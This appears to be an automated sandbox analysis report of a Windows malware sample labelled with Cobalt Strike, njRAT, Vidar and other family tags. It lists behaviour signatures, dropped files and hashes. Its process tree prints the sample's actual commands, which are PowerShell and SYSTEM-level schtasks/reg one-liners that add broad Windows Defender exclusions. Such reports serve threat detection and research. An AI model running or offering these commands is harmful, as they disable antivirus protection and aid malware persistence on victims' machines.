Analysis

  • max time kernel
    151s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/08/2026, 21:21

General

  • Target
    2026-08-22_f30962e74038a8e9d838cbba64792600_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
  • Size 36.5MB
  • Sample260822-z7dfmszbmc
  • SHA256 fc163c2eac51adfe74ad3a1cd9dd171224ac7c12f85d604a5d40c4a6d95e6d74
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-22_f30962e74038a8e9d838cbba64792600_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-22_f30962e74038a8e9d838cbba64792600_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2128
  • C:\Users\Public\ZmM1LU\0FLTxU.exe
    "C:\Users\Public\ZmM1LU\0FLTxU.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1428
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZmM1LU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3244
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZmM1LU\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4904
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5584
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1796
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5760
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4760
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2200
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4408
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5612
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2444
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4828
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5188
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2008
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1972
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1416
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1224
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1744
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5164
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3224
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZmM1LU" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1492
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZmM1LU" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2260
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4844
                        • C:\Users\Public\ZmM1LU\0FLTxU.exe
                          "C:\Users\Public\ZmM1LU\0FLTxU.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4808
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3004
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6012
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5084
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4276
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3200
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4312

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              0FLTxU.exe

                              • Path C:\Users\Public\ZmM1LU\0FLTxU.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\ZmM1LU\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 bf410d1a2ae41a3687507edacbabcbf0ead246407fe87718bcc9a4fc28f77ee6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\ZmM1LU\adoresd.dat
                              • Size 4.7MB
                              • SHA256 7907abaa0761fd3d27b896a0428fa662a0efb18aeece43cf8b6847a63a780ad9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\ZmM1LU\msadox.tb
                              • Size 8KB
                              • SHA256 a0bd6a7d8b21e4e8dc833edb02287a2802c45cabb8271d04980f9c1bc04fceef
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/256-559-0x000001E6D61C0000-0x000001E6D620E000-memory.dmp

                              memory/256-560-0x000001E6D7AA0000-0x000001E6D7B2A000-memory.dmp

                              memory/256-538-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-541-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-540-0x00007FFB3BFE0000-0x00007FFB3BFE2000-memory.dmp

                              memory/256-563-0x000001E6D7AA0000-0x000001E6D7B2A000-memory.dmp

                              memory/256-568-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-567-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-532-0x00007FFB3BFD0000-0x00007FFB3BFD2000-memory.dmp

                              memory/256-548-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-547-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-565-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-533-0x00007FFB196D0000-0x00007FFB19BEE000-memory.dmp

                              memory/256-545-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-546-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-552-0x000001E6D8530000-0x000001E6D8DB7000-memory.dmp

                              memory/256-561-0x000001E6D7AA0000-0x000001E6D7B2A000-memory.dmp

                              memory/256-562-0x000001E6D7AA0000-0x000001E6D7B2A000-memory.dmp

                              memory/1428-592-0x000001A3E69E0000-0x000001A3E6A02000-memory.dmp

                              memory/1428-598-0x000001A3CE580000-0x000001A3CE58A000-memory.dmp

                              memory/1428-597-0x000001A3E6C40000-0x000001A3E6CF2000-memory.dmp

                              memory/1428-596-0x000001A3E6A10000-0x000001A3E6A2E000-memory.dmp

                              memory/2128-527-0x00007FFB2FFE0000-0x00007FFB2FFF2000-memory.dmp

                              memory/2128-526-0x0000000000570000-0x000000000057E000-memory.dmp

                              memory/2128-0-0x0000000000570000-0x000000000057E000-memory.dmp

                              memory/2128-1-0x0000000000570000-0x000000000057E000-memory.dmp

                              memory/2128-2-0x0000000004370000-0x000000000437C000-memory.dmp

                              memory/2128-504-0x00007FFB2FFE0000-0x00007FFB2FFF2000-memory.dmp

                              memory/4808-586-0x0000021AA4770000-0x0000021AA4FF7000-memory.dmp

                              memory/4808-589-0x00007FFB3BFD0000-0x00007FFB3BFD2000-memory.dmp

                              memory/4808-588-0x0000021AA4770000-0x0000021AA4FF7000-memory.dmp

                              memory/4808-585-0x0000021AA4770000-0x0000021AA4FF7000-memory.dmp

                              memory/4808-580-0x00007FFB3BFE0000-0x00007FFB3BFE2000-memory.dmp

                              memory/4808-587-0x0000021AA4770000-0x0000021AA4FF7000-memory.dmp

                              memory/4808-578-0x0000021AA4770000-0x0000021AA4FF7000-memory.dmp

                              memory/4808-581-0x0000021AA4770000-0x0000021AA4FF7000-memory.dmp

                              memory/4808-575-0x00007FFB196D0000-0x00007FFB19BEE000-memory.dmp